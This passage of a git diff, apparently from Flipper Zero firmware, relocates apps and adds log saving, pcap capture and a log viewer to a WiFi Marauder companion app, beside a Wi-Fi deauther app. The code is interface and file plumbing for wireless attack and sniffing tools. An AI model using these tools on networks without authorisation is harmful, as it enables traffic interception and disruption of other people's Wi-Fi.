b/applications/external/weather_station/scenes/weather_station_scene_receiver_config.c similarity index 100% rename from applications/plugins/weather_station/scenes/weather_station_scene_receiver_config.c rename to applications/external/weather_station/scenes/weather_station_scene_receiver_config.c diff --git a/applications/plugins/weather_station/scenes/weather_station_scene_receiver_info.c b/applications/external/weather_station/scenes/weather_station_scene_receiver_info.c similarity index 100% rename from applications/plugins/weather_station/scenes/weather_station_scene_receiver_info.c rename to applications/external/weather_station/scenes/weather_station_scene_receiver_info.c diff --git a/applications/plugins/weather_station/scenes/weather_station_scene_start.c b/applications/external/weather_station/scenes/weather_station_scene_start.c similarity index 100% rename from applications/plugins/weather_station/scenes/weather_station_scene_start.c rename to applications/external/weather_station/scenes/weather_station_scene_start.c diff --git a/applications/plugins/weather_station/views/weather_station_receiver.c b/applications/external/weather_station/views/weather_station_receiver.c similarity index 100% rename from applications/plugins/weather_station/views/weather_station_receiver.c rename to applications/external/weather_station/views/weather_station_receiver.c diff --git a/applications/plugins/weather_station/views/weather_station_receiver.h b/applications/external/weather_station/views/weather_station_receiver.h similarity index 100% rename from applications/plugins/weather_station/views/weather_station_receiver.h rename to applications/external/weather_station/views/weather_station_receiver.h diff --git a/applications/plugins/weather_station/views/weather_station_receiver_info.c b/applications/external/weather_station/views/weather_station_receiver_info.c similarity index 100% rename from applications/plugins/weather_station/views/weather_station_receiver_info.c rename to applications/external/weather_station/views/weather_station_receiver_info.c diff --git a/applications/plugins/weather_station/views/weather_station_receiver_info.h b/applications/external/weather_station/views/weather_station_receiver_info.h similarity index 100% rename from applications/plugins/weather_station/views/weather_station_receiver_info.h rename to applications/external/weather_station/views/weather_station_receiver_info.h diff --git a/applications/plugins/weather_station/weather_station_10px.png b/applications/external/weather_station/weather_station_10px.png similarity index 100% rename from applications/plugins/weather_station/weather_station_10px.png rename to applications/external/weather_station/weather_station_10px.png diff --git a/applications/plugins/weather_station/weather_station_app.c b/applications/external/weather_station/weather_station_app.c similarity index 96% rename from applications/plugins/weather_station/weather_station_app.c rename to applications/external/weather_station/weather_station_app.c index ffa569f20..a3135a6b0 100644 --- a/applications/plugins/weather_station/weather_station_app.c +++ b/applications/external/weather_station/weather_station_app.c @@ -107,6 +107,11 @@ WeatherStationApp* weather_station_app_alloc() { // Enable power for External CC1101 if it is connected furi_hal_subghz_enable_ext_power(); + // Auto switch to internal radio if external radio is not available + furi_delay_ms(15); + if(!furi_hal_subghz_check_radio()) { + furi_hal_subghz_set_radio_type(SubGhzRadioInternal); + } furi_hal_power_suppress_charge_enter(); diff --git a/applications/plugins/weather_station/weather_station_app_i.c b/applications/external/weather_station/weather_station_app_i.c similarity index 100% rename from applications/plugins/weather_station/weather_station_app_i.c rename to applications/external/weather_station/weather_station_app_i.c diff --git a/applications/plugins/weather_station/weather_station_app_i.h b/applications/external/weather_station/weather_station_app_i.h similarity index 100% rename from applications/plugins/weather_station/weather_station_app_i.h rename to applications/external/weather_station/weather_station_app_i.h diff --git a/applications/plugins/weather_station/weather_station_history.c b/applications/external/weather_station/weather_station_history.c similarity index 100% rename from applications/plugins/weather_station/weather_station_history.c rename to applications/external/weather_station/weather_station_history.c diff --git a/applications/plugins/weather_station/weather_station_history.h b/applications/external/weather_station/weather_station_history.h similarity index 100% rename from applications/plugins/weather_station/weather_station_history.h rename to applications/external/weather_station/weather_station_history.h diff --git a/applications/plugins/yatzee/LICENSE b/applications/external/wifi_deauther/LICENSE similarity index 100% rename from applications/plugins/yatzee/LICENSE rename to applications/external/wifi_deauther/LICENSE diff --git a/applications/plugins/wifi_deauther/application.fam b/applications/external/wifi_deauther/application.fam similarity index 100% rename from applications/plugins/wifi_deauther/application.fam rename to applications/external/wifi_deauther/application.fam diff --git a/applications/plugins/wifi_deauther/scenes/wifi_deauther_scene.c b/applications/external/wifi_deauther/scenes/wifi_deauther_scene.c similarity index 100% rename from applications/plugins/wifi_deauther/scenes/wifi_deauther_scene.c rename to applications/external/wifi_deauther/scenes/wifi_deauther_scene.c diff --git a/applications/plugins/wifi_deauther/scenes/wifi_deauther_scene.h b/applications/external/wifi_deauther/scenes/wifi_deauther_scene.h similarity index 100% rename from applications/plugins/wifi_deauther/scenes/wifi_deauther_scene.h rename to applications/external/wifi_deauther/scenes/wifi_deauther_scene.h diff --git a/applications/plugins/wifi_deauther/scenes/wifi_deauther_scene_config.h b/applications/external/wifi_deauther/scenes/wifi_deauther_scene_config.h similarity index 100% rename from applications/plugins/wifi_deauther/scenes/wifi_deauther_scene_config.h rename to applications/external/wifi_deauther/scenes/wifi_deauther_scene_config.h diff --git a/applications/plugins/wifi_deauther/scenes/wifi_deauther_scene_console_output.c b/applications/external/wifi_deauther/scenes/wifi_deauther_scene_console_output.c similarity index 100% rename from applications/plugins/wifi_deauther/scenes/wifi_deauther_scene_console_output.c rename to applications/external/wifi_deauther/scenes/wifi_deauther_scene_console_output.c diff --git a/applications/plugins/wifi_deauther/scenes/wifi_deauther_scene_start.c b/applications/external/wifi_deauther/scenes/wifi_deauther_scene_start.c similarity index 100% rename from applications/plugins/wifi_deauther/scenes/wifi_deauther_scene_start.c rename to applications/external/wifi_deauther/scenes/wifi_deauther_scene_start.c diff --git a/applications/plugins/wifi_deauther/scenes/wifi_deauther_scene_text_input.c b/applications/external/wifi_deauther/scenes/wifi_deauther_scene_text_input.c similarity index 100% rename from applications/plugins/wifi_deauther/scenes/wifi_deauther_scene_text_input.c rename to applications/external/wifi_deauther/scenes/wifi_deauther_scene_text_input.c diff --git a/applications/plugins/wifi_deauther/wifi_10px.png b/applications/external/wifi_deauther/wifi_10px.png similarity index 100% rename from applications/plugins/wifi_deauther/wifi_10px.png rename to applications/external/wifi_deauther/wifi_10px.png diff --git a/applications/plugins/wifi_deauther/wifi_deauther_app.c b/applications/external/wifi_deauther/wifi_deauther_app.c similarity index 98% rename from applications/plugins/wifi_deauther/wifi_deauther_app.c rename to applications/external/wifi_deauther/wifi_deauther_app.c index 28fb28d88..2c9ea17fc 100644 --- a/applications/plugins/wifi_deauther/wifi_deauther_app.c +++ b/applications/external/wifi_deauther/wifi_deauther_app.c @@ -3,6 +3,7 @@ #include #include #include +#include static bool wifi_deauther_app_custom_event_callback(void* context, uint32_t event) { furi_assert(context); @@ -24,6 +25,7 @@ static void wifi_deauther_app_tick_event_callback(void* context) { WifideautherApp* wifi_deauther_app_alloc() { WifideautherApp* app = malloc(sizeof(WifideautherApp)); + DOLPHIN_DEED(DolphinDeedPluginStart); app->gui = furi_record_open(RECORD_GUI); diff --git a/applications/plugins/wifi_deauther/wifi_deauther_app.h b/applications/external/wifi_deauther/wifi_deauther_app.h similarity index 100% rename from applications/plugins/wifi_deauther/wifi_deauther_app.h rename to applications/external/wifi_deauther/wifi_deauther_app.h diff --git a/applications/plugins/wifi_deauther/wifi_deauther_app_i.h b/applications/external/wifi_deauther/wifi_deauther_app_i.h similarity index 100% rename from applications/plugins/wifi_deauther/wifi_deauther_app_i.h rename to applications/external/wifi_deauther/wifi_deauther_app_i.h diff --git a/applications/plugins/wifi_deauther/wifi_deauther_custom_event.h b/applications/external/wifi_deauther/wifi_deauther_custom_event.h similarity index 100% rename from applications/plugins/wifi_deauther/wifi_deauther_custom_event.h rename to applications/external/wifi_deauther/wifi_deauther_custom_event.h diff --git a/applications/plugins/wifi_deauther/wifi_deauther_uart.c b/applications/external/wifi_deauther/wifi_deauther_uart.c similarity index 100% rename from applications/plugins/wifi_deauther/wifi_deauther_uart.c rename to applications/external/wifi_deauther/wifi_deauther_uart.c diff --git a/applications/plugins/wifi_deauther/wifi_deauther_uart.h b/applications/external/wifi_deauther/wifi_deauther_uart.h similarity index 100% rename from applications/plugins/wifi_deauther/wifi_deauther_uart.h rename to applications/external/wifi_deauther/wifi_deauther_uart.h diff --git a/applications/plugins/wifi_marauder_companion/application.fam b/applications/external/wifi_marauder_companion/application.fam similarity index 79% rename from applications/plugins/wifi_marauder_companion/application.fam rename to applications/external/wifi_marauder_companion/application.fam index 049d66045..5fe303b00 100644 --- a/applications/plugins/wifi_marauder_companion/application.fam +++ b/applications/external/wifi_marauder_companion/application.fam @@ -3,9 +3,8 @@ App( name="[ESP32] WiFi Marauder", apptype=FlipperAppType.EXTERNAL, entry_point="wifi_marauder_app", - cdefines=["APP_WIFI_MARAUDER"], requires=["gui"], - stack_size=1 * 1024, + stack_size=4 * 1024, order=90, fap_icon="wifi_10px.png", fap_category="WiFi", diff --git a/applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene.c similarity index 100% rename from applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene.c rename to applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene.c diff --git a/applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene.h b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene.h similarity index 100% rename from applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene.h rename to applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene.h diff --git a/applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_config.h b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_config.h similarity index 58% rename from applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_config.h rename to applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_config.h index 75e95c9bc..715897d17 100644 --- a/applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_config.h +++ b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_config.h @@ -1,3 +1,5 @@ ADD_SCENE(wifi_marauder, start, Start) ADD_SCENE(wifi_marauder, console_output, ConsoleOutput) ADD_SCENE(wifi_marauder, text_input, TextInput) +ADD_SCENE(wifi_marauder, settings_init, SettingsInit) +ADD_SCENE(wifi_marauder, log_viewer, LogViewer) diff --git a/applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c similarity index 62% rename from applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c rename to applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c index 8b9984dbf..0729500eb 100644 --- a/applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c +++ b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_console_output.c @@ -4,6 +4,11 @@ void wifi_marauder_console_output_handle_rx_data_cb(uint8_t* buf, size_t len, vo furi_assert(context); WifiMarauderApp* app = context; + if(app->is_writing_log) { + app->has_saved_logs_this_session = true; + storage_file_write(app->log_file, buf, len); + } + // If text box store gets too big, then truncate it app->text_box_store_strlen += len; if(app->text_box_store_strlen >= WIFI_MARAUDER_TEXT_BOX_STORE_SIZE - 1) { @@ -14,10 +19,18 @@ void wifi_marauder_console_output_handle_rx_data_cb(uint8_t* buf, size_t len, vo // Null-terminate buf and append to text box store buf[len] = '\0'; furi_string_cat_printf(app->text_box_store, "%s", buf); - view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventRefreshConsoleOutput); } +void wifi_marauder_console_output_handle_rx_packets_cb(uint8_t* buf, size_t len, void* context) { + furi_assert(context); + WifiMarauderApp* app = context; + + if(app->is_writing_pcap) { + storage_file_write(app->capture_file, buf, len); + } +} + void wifi_marauder_scene_console_output_on_enter(void* context) { WifiMarauderApp* app = context; @@ -33,8 +46,7 @@ void wifi_marauder_scene_console_output_on_enter(void* context) { furi_string_reset(app->text_box_store); app->text_box_store_strlen = 0; if(0 == strncmp("help", app->selected_tx_string, strlen("help"))) { - const char* help_msg = - "Marauder companion v0.3.0\nFor app support/feedback,\nreach out to me:\n@cococode#6011 (discord)\n0xchocolate (github)\n"; + const char* help_msg = "Marauder companion " WIFI_MARAUDER_APP_VERSION "\n"; furi_string_cat_str(app->text_box_store, help_msg); app->text_box_store_strlen += strlen(help_msg); } @@ -46,7 +58,7 @@ void wifi_marauder_scene_console_output_on_enter(void* context) { } } - // Set starting text - for "View Log", this will just be what was already in the text box store + // Set starting text - for "View Log from end", this will just be what was already in the text box store text_box_set_text(app->text_box, furi_string_get_cstr(app->text_box_store)); scene_manager_set_scene_state(app->scene_manager, WifiMarauderSceneConsoleOutput, 0); @@ -54,10 +66,29 @@ void wifi_marauder_scene_console_output_on_enter(void* context) { // Register callback to receive data wifi_marauder_uart_set_handle_rx_data_cb( - app->uart, wifi_marauder_console_output_handle_rx_data_cb); // setup callback for rx thread + app->uart, + wifi_marauder_console_output_handle_rx_data_cb); // setup callback for general log rx thread + wifi_marauder_uart_set_handle_rx_data_cb( + app->lp_uart, + wifi_marauder_console_output_handle_rx_packets_cb); // setup callback for packets rx thread - // Send command with newline '\n' + // Get ready to send command if(app->is_command && app->selected_tx_string) { + // Create files *before* sending command + // (it takes time to iterate through the directory) + if(app->ok_to_save_logs) { + app->is_writing_log = true; + wifi_marauder_create_log_file(app); + } + + // If it is a sniff function, open the pcap file for recording + if(app->ok_to_save_pcaps && + strncmp("sniff", app->selected_tx_string, strlen("sniff")) == 0) { + app->is_writing_pcap = true; + wifi_marauder_create_pcap_file(app); + } + + // Send command with newline '\n' wifi_marauder_uart_tx( (uint8_t*)(app->selected_tx_string), strlen(app->selected_tx_string)); wifi_marauder_uart_tx((uint8_t*)("\n"), 1); @@ -84,9 +115,20 @@ void wifi_marauder_scene_console_output_on_exit(void* context) { // Unregister rx callback wifi_marauder_uart_set_handle_rx_data_cb(app->uart, NULL); + wifi_marauder_uart_set_handle_rx_data_cb(app->lp_uart, NULL); // Automatically stop the scan when exiting view if(app->is_command) { wifi_marauder_uart_tx((uint8_t*)("stopscan\n"), strlen("stopscan\n")); } -} \ No newline at end of file + + app->is_writing_pcap = false; + if(app->capture_file && storage_file_is_open(app->capture_file)) { + storage_file_close(app->capture_file); + } + + app->is_writing_log = false; + if(app->log_file && storage_file_is_open(app->log_file)) { + storage_file_close(app->log_file); + } +} diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_log_viewer.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_log_viewer.c new file mode 100644 index 000000000..f4e84ccc8 --- /dev/null +++ b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_log_viewer.c @@ -0,0 +1,185 @@ +#include "../wifi_marauder_app_i.h" + +void wifi_marauder_scene_log_viewer_widget_callback( + GuiButtonType result, + InputType type, + void* context) { + WifiMarauderApp* app = context; + if(type == InputTypeShort) { + view_dispatcher_send_custom_event(app->view_dispatcher, result); + } +} + +static void _read_log_page_into_text_store(WifiMarauderApp* app) { + char temp[64 + 1]; + storage_file_seek( + app->log_file, WIFI_MARAUDER_TEXT_BOX_STORE_SIZE * (app->open_log_file_page - 1), true); + furi_string_reset(app->text_box_store); + for(uint16_t i = 0; i < (WIFI_MARAUDER_TEXT_BOX_STORE_SIZE / (sizeof(temp) - 1)); i++) { + uint16_t num_bytes = storage_file_read(app->log_file, temp, sizeof(temp) - 1); + if(num_bytes == 0) { + break; + } + temp[num_bytes] = '\0'; + furi_string_cat_str(app->text_box_store, temp); + } +} + +void wifi_marauder_scene_log_viewer_setup_widget(WifiMarauderApp* app, bool called_from_browse) { + Widget* widget = app->widget; + bool is_open = storage_file_is_open(app->log_file); + bool should_open_log = (app->has_saved_logs_this_session || called_from_browse); + if(is_open) { + _read_log_page_into_text_store(app); + } else if( + should_open_log && + storage_file_open(app->log_file, app->log_file_path, FSAM_READ, FSOM_OPEN_EXISTING)) { + uint64_t filesize = storage_file_size(app->log_file); + app->open_log_file_num_pages = filesize / WIFI_MARAUDER_TEXT_BOX_STORE_SIZE; + int extra_page = (filesize % WIFI_MARAUDER_TEXT_BOX_STORE_SIZE != 0) ? 1 : 0; + app->open_log_file_num_pages = (filesize / WIFI_MARAUDER_TEXT_BOX_STORE_SIZE) + extra_page; + app->open_log_file_page = 1; + _read_log_page_into_text_store(app); + } else { + app->open_log_file_page = 0; + app->open_log_file_num_pages = 0; + } + + widget_reset(widget); + + if(furi_string_empty(app->text_box_store)) { + char help_msg[256]; + snprintf( + help_msg, + sizeof(help_msg), + "The log is empty! :(\nTry sending a command?\n\nSaving pcaps to flipper sdcard: %s\nSaving logs to flipper sdcard: %s", + app->ok_to_save_pcaps ? "ON" : "OFF", + app->ok_to_save_logs ? "ON" : "OFF"); + furi_string_set_str(app->text_box_store, help_msg); + } + + widget_add_text_scroll_element( + widget, 0, 0, 128, 53, furi_string_get_cstr(app->text_box_store)); + + if(1 < app->open_log_file_page && app->open_log_file_page < app->open_log_file_num_pages) { + // hide "Browse" text for middle pages + widget_add_button_element( + widget, GuiButtonTypeCenter, "", wifi_marauder_scene_log_viewer_widget_callback, app); + } else { + // only show "Browse" text on first and last page + widget_add_button_element( + widget, + GuiButtonTypeCenter, + "Browse", + wifi_marauder_scene_log_viewer_widget_callback, + app); + } + + char pagecounter[100]; + snprintf( + pagecounter, + sizeof(pagecounter), + "%d/%d", + app->open_log_file_page, + app->open_log_file_num_pages); + if(app->open_log_file_page > 1) { + if(app->open_log_file_page == app->open_log_file_num_pages) { + // only show left side page-count on last page + widget_add_button_element( + widget, + GuiButtonTypeLeft, + pagecounter, + wifi_marauder_scene_log_viewer_widget_callback, + app); + } else { + widget_add_button_element( + widget, GuiButtonTypeLeft, "", wifi_marauder_scene_log_viewer_widget_callback, app); + } + } + if(app->open_log_file_page < app->open_log_file_num_pages) { + widget_add_button_element( + widget, + GuiButtonTypeRight, + pagecounter, + wifi_marauder_scene_log_viewer_widget_callback, + app); + } +} + +void wifi_marauder_scene_log_viewer_on_enter(void* context) { + WifiMarauderApp* app = context; + + app->open_log_file_page = 0; + app->open_log_file_num_pages = 0; + bool saved_logs_exist = false; + if(!app->has_saved_logs_this_session && furi_string_empty(app->text_box_store)) { + // no commands sent yet this session, find last saved log + if(storage_dir_open(app->log_file, MARAUDER_APP_FOLDER_LOGS)) { + char name[70]; + char lastname[70]; + while(storage_dir_read(app->log_file, NULL, name, sizeof(name))) { + // keep reading directory until last file is reached + strlcpy(lastname, name, sizeof(lastname)); + saved_logs_exist = true; + } + if(saved_logs_exist) { + snprintf( + app->log_file_path, + sizeof(app->log_file_path), + "%s/%s", + MARAUDER_APP_FOLDER_LOGS, + lastname); + } + } + storage_dir_close(app->log_file); + } + + wifi_marauder_scene_log_viewer_setup_widget(app, saved_logs_exist); + + view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewWidget); +} + +bool wifi_marauder_scene_log_viewer_on_event(void* context, SceneManagerEvent event) { + WifiMarauderApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + if(event.event == GuiButtonTypeCenter) { + // Browse + FuriString* predefined_filepath = furi_string_alloc_set_str(MARAUDER_APP_FOLDER_LOGS); + FuriString* selected_filepath = furi_string_alloc(); + if(dialog_file_browser_show( + app->dialogs, selected_filepath, predefined_filepath, NULL)) { + strncpy( + app->log_file_path, + furi_string_get_cstr(selected_filepath), + sizeof(app->log_file_path)); + if(storage_file_is_open(app->log_file)) { + storage_file_close(app->log_file); + } + wifi_marauder_scene_log_viewer_setup_widget(app, true); + } + furi_string_free(selected_filepath); + furi_string_free(predefined_filepath); + consumed = true; + } else if(event.event == GuiButtonTypeRight) { + // Advance page + ++app->open_log_file_page; + wifi_marauder_scene_log_viewer_setup_widget(app, false); + } else if(event.event == GuiButtonTypeLeft) { + // Previous page + --app->open_log_file_page; + wifi_marauder_scene_log_viewer_setup_widget(app, false); + } + } + + return consumed; +} + +void wifi_marauder_scene_log_viewer_on_exit(void* context) { + WifiMarauderApp* app = context; + widget_reset(app->widget); + if(storage_file_is_open(app->log_file)) { + storage_file_close(app->log_file); + } +} diff --git a/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_settings_init.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_settings_init.c new file mode 100644 index 000000000..04d099d12 --- /dev/null +++ b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_settings_init.c @@ -0,0 +1,130 @@ +#include "../wifi_marauder_app_i.h" + +const char* Y = "Y"; +const char* N = "N"; + +#define PROMPT_PCAPS 0 +#define PROMPT_LOGS 1 + +void wifi_marauder_scene_settings_init_widget_callback( + GuiButtonType result, + InputType type, + void* context) { + WifiMarauderApp* app = context; + if(type == InputTypeShort) { + view_dispatcher_send_custom_event(app->view_dispatcher, result); + } +} + +void wifi_marauder_scene_settings_init_setup_widget(WifiMarauderApp* app) { + Widget* widget = app->widget; + + widget_reset(widget); + + widget_add_button_element( + widget, GuiButtonTypeLeft, "No", wifi_marauder_scene_settings_init_widget_callback, app); + widget_add_button_element( + widget, GuiButtonTypeRight, "Yes", wifi_marauder_scene_settings_init_widget_callback, app); + + if(app->which_prompt == PROMPT_PCAPS) { + widget_add_string_element(widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Save pcaps?"); + widget_add_text_scroll_element( + widget, + 0, + 12, + 128, + 38, + "With compatible marauder\nfirmware, you can choose to\nsave captures (pcaps) to the\nflipper sd card here:\n" MARAUDER_APP_FOLDER_USER_PCAPS + "\n\nYou can change this setting in the app at any time. Would\nyou like to enable this feature now?"); + } else { + widget_add_string_element(widget, 0, 0, AlignLeft, AlignTop, FontPrimary, "Save logs?"); + widget_add_text_scroll_element( + widget, + 0, + 12, + 128, + 38, + "This app supports saving text\nlogs of console output to the\nflipper sd card here:\n" MARAUDER_APP_FOLDER_USER_LOGS + "\n\nYou can change this setting in the app at any time. Would\nyou like to enable this feature now?"); + } +} + +void wifi_marauder_scene_settings_init_on_enter(void* context) { + WifiMarauderApp* app = context; + + app->which_prompt = PROMPT_PCAPS; + wifi_marauder_scene_settings_init_setup_widget(app); + + view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewWidget); +} + +bool wifi_marauder_scene_settings_init_on_event(void* context, SceneManagerEvent event) { + WifiMarauderApp* app = context; + bool consumed = false; + + if(event.type == SceneManagerEventTypeCustom) { + // get which button press: "Yes" or "No" + if(event.event == GuiButtonTypeRight) { + // Yes + if(app->which_prompt == PROMPT_PCAPS) { + app->ok_to_save_pcaps = true; + } else { + app->ok_to_save_logs = true; + } + } else if(event.event == GuiButtonTypeLeft) { + // No + if(app->which_prompt == PROMPT_PCAPS) { + app->ok_to_save_pcaps = false; + } else { + app->ok_to_save_logs = false; + } + } + + // save setting to file, load next widget or scene + if(app->which_prompt == PROMPT_PCAPS) { + if(storage_file_open( + app->save_pcap_setting_file, + SAVE_PCAP_SETTING_FILEPATH, + FSAM_WRITE, + FSOM_CREATE_ALWAYS)) { + const char* ok = app->ok_to_save_pcaps ? Y : N; + storage_file_write(app->save_pcap_setting_file, ok, sizeof(ok)); + } else { + dialog_message_show_storage_error(app->dialogs, "Cannot save settings"); + } + storage_file_close(app->save_pcap_setting_file); + // same scene, different-looking widget + app->which_prompt = PROMPT_LOGS; + wifi_marauder_scene_settings_init_setup_widget(app); + } else { + if(storage_file_open( + app->save_logs_setting_file, + SAVE_LOGS_SETTING_FILEPATH, + FSAM_WRITE, + FSOM_CREATE_ALWAYS)) { + const char* ok = app->ok_to_save_logs ? Y : N; + storage_file_write(app->save_logs_setting_file, ok, sizeof(ok)); + } else { + dialog_message_show_storage_error(app->dialogs, "Cannot save settings"); + } + storage_file_close(app->save_logs_setting_file); + // go back to start scene (main menu) + app->need_to_prompt_settings_init = false; + scene_manager_previous_scene(app->scene_manager); + } + consumed = true; + } + + return consumed; +} + +void wifi_marauder_scene_settings_init_on_exit(void* context) { + WifiMarauderApp* app = context; + widget_reset(app->widget); + if(storage_file_is_open(app->save_pcap_setting_file)) { + storage_file_close(app->save_pcap_setting_file); + } + if(storage_file_is_open(app->save_logs_setting_file)) { + storage_file_close(app->save_logs_setting_file); + } +} diff --git a/applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c similarity index 82% rename from applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c rename to applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c index df759bd15..2b2ee3a8a 100644 --- a/applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c +++ b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_start.c @@ -127,6 +127,13 @@ const WifiMarauderItem items[NUM_MENU_ITEMS] = { {"Update", {"ota", "sd"}, 2, {"update -w", "update -s"}, NO_ARGS, FOCUS_CONSOLE_END, NO_TIP}, {"Reboot", {""}, 1, {"reboot"}, NO_ARGS, FOCUS_CONSOLE_END, NO_TIP}, {"Help", {""}, 1, {"help"}, NO_ARGS, FOCUS_CONSOLE_START, SHOW_STOPSCAN_TIP}, + {"Save to flipper sdcard", // keep as last entry or change logic in callback below + {""}, + 1, + {""}, + NO_ARGS, + FOCUS_CONSOLE_START, + NO_TIP}, }; static void wifi_marauder_scene_start_var_list_enter_callback(void* context, uint32_t index) { @@ -136,6 +143,13 @@ static void wifi_marauder_scene_start_var_list_enter_callback(void* context, uin furi_assert(index < NUM_MENU_ITEMS); const WifiMarauderItem* item = &items[index]; + if(index == NUM_MENU_ITEMS - 1) { + // "Save to flipper sdcard" special case - start SettingsInit widget + view_dispatcher_send_custom_event( + app->view_dispatcher, WifiMarauderEventStartSettingsInit); + return; + } + const int selected_option_index = app->selected_option_index[index]; furi_assert(selected_option_index < item->num_options_menu); app->selected_tx_string = item->actual_commands[selected_option_index]; @@ -147,6 +161,12 @@ static void wifi_marauder_scene_start_var_list_enter_callback(void* context, uin item->focus_console; app->show_stopscan_tip = item->show_stopscan_tip; + if(!app->is_command && selected_option_index == 0) { + // View Log from start + view_dispatcher_send_custom_event(app->view_dispatcher, WifiMarauderEventStartLogViewer); + return; + } + bool needs_keyboard = (item->needs_keyboard == TOGGLE_ARGS) ? (selected_option_index != 0) : item->needs_keyboard; if(needs_keyboard) { @@ -193,6 +213,11 @@ void wifi_marauder_scene_start_on_enter(void* context) { var_item_list, scene_manager_get_scene_state(app->scene_manager, WifiMarauderSceneStart)); view_dispatcher_switch_to_view(app->view_dispatcher, WifiMarauderAppViewVarItemList); + + // Wait, if the user hasn't initialized sdcard settings, let's prompt them once (then come back here) + if(app->need_to_prompt_settings_init) { + scene_manager_next_scene(app->scene_manager, WifiMarauderSceneSettingsInit); + } } bool wifi_marauder_scene_start_on_event(void* context, SceneManagerEvent event) { @@ -204,16 +229,28 @@ bool wifi_marauder_scene_start_on_event(void* context, SceneManagerEvent event) if(event.event == WifiMarauderEventStartKeyboard) { scene_manager_set_scene_state( app->scene_manager, WifiMarauderSceneStart, app->selected_menu_index); - scene_manager_next_scene(app->scene_manager, WifiMarauderAppViewTextInput); + scene_manager_next_scene(app->scene_manager, WifiMarauderSceneTextInput); } else if(event.event == WifiMarauderEventStartConsole) { scene_manager_set_scene_state( app->scene_manager, WifiMarauderSceneStart, app->selected_menu_index); - scene_manager_next_scene(app->scene_manager, WifiMarauderAppViewConsoleOutput); + scene_manager_next_scene(app->scene_manager, WifiMarauderSceneConsoleOutput); + } else if(event.event == WifiMarauderEventStartSettingsInit) { + scene_manager_set_scene_state( + app->scene_manager, WifiMarauderSceneStart, app->selected_menu_index); + scene_manager_next_scene(app->scene_manager, WifiMarauderSceneSettingsInit); + } else if(event.event == WifiMarauderEventStartLogViewer) { + scene_manager_set_scene_state( + app->scene_manager, WifiMarauderSceneStart, app->selected_menu_index); + scene_manager_next_scene(app->scene_manager, WifiMarauderSceneLogViewer); } consumed = true; } else if(event.type == SceneManagerEventTypeTick) { app->selected_menu_index = variable_item_list_get_selected_item_index(app->var_item_list); consumed = true; + } else if(event.type == SceneManagerEventTypeBack) { + scene_manager_stop(app->scene_manager); + view_dispatcher_stop(app->view_dispatcher); + consumed = true; } return consumed; diff --git a/applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c similarity index 99% rename from applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c rename to applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c index ac8b15a2d..b721e868d 100644 --- a/applications/plugins/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c +++ b/applications/external/wifi_marauder_companion/scenes/wifi_marauder_scene_text_input.c @@ -80,7 +80,7 @@ bool wifi_marauder_scene_text_input_on_event(void* context, SceneManagerEvent ev if(event.event == WifiMarauderEventStartConsole) { // Point to custom string to send app->selected_tx_string = app->text_input_store; - scene_manager_next_scene(app->scene_manager, WifiMarauderAppViewConsoleOutput); + scene_manager_next_scene(app->scene_manager, WifiMarauderSceneConsoleOutput); consumed = true; } else if(event.event == WifiMarauderEventSaveSourceMac) { if(12 != strlen(app->text_input_store)) { @@ -138,7 +138,7 @@ bool wifi_marauder_scene_text_input_on_event(void* context, SceneManagerEvent ev app->special_case_input_src_addr, app->special_case_input_dst_addr); app->selected_tx_string = app->text_input_store; - scene_manager_next_scene(app->scene_manager, WifiMarauderAppViewConsoleOutput); + scene_manager_next_scene(app->scene_manager, WifiMarauderSceneConsoleOutput); } consumed = true; } diff --git a/applications/plugins/wifi_marauder_companion/wifi_10px.png b/applications/external/wifi_marauder_companion/wifi_10px.png similarity index 100% rename from applications/plugins/wifi_marauder_companion/wifi_10px.png rename to applications/external/wifi_marauder_companion/wifi_10px.png diff --git a/applications/plugins/wifi_marauder_companion/wifi_marauder_app.c b/applications/external/wifi_marauder_companion/wifi_marauder_app.c similarity index 51% rename from applications/plugins/wifi_marauder_companion/wifi_marauder_app.c rename to applications/external/wifi_marauder_companion/wifi_marauder_app.c index 1deb4e6f2..42e94a8b8 100644 --- 